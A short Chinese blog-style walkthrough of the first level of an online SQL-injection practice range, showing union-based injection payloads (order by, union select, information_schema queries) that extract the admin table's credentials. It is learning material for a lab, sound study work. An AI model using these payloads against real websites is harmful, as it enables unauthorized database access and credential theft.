也是刚过完白嫖课程,来试试靶场,经过群友的推荐,来做封神台的靶场学习一下。
话不多说,上图
首先第一章是个sql注入,没有任何waf之类的,首先点击查看新闻
?id=1 and 1=1
?id=1 and 1=2
可以看到很明显的注入点,语句测试类型,可以看到1=2的情况是没有返回内容的,基本可以确定是数字型的
那么接下来就尝试order by语句
?id=1 order by 2
by 3的时候报错,那么就是2个字段,再判断回显位置
?id=1111 union select 1,2
这里起初没看到图片花边下面的数字,还觉得奇怪,在用盲注,结果是我自己视力问题,言归正传,这里需要注意前面的id需要是一个不存在的值,否则不会回显我们想看到的回显数字2
找到回显位置后,利用联合查询依次数据库,表名,列名等
?id=1111 union select 1,database()
?id=1111 union select 1,group_concat(table_name) from information_schema.tables where table_schema='maoshe'
?id=1111 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin'
?id=1111 union select 1,group_concat(username,id,password) from admin
管理员密码是hellohack,后面那个一眼广告
提交即可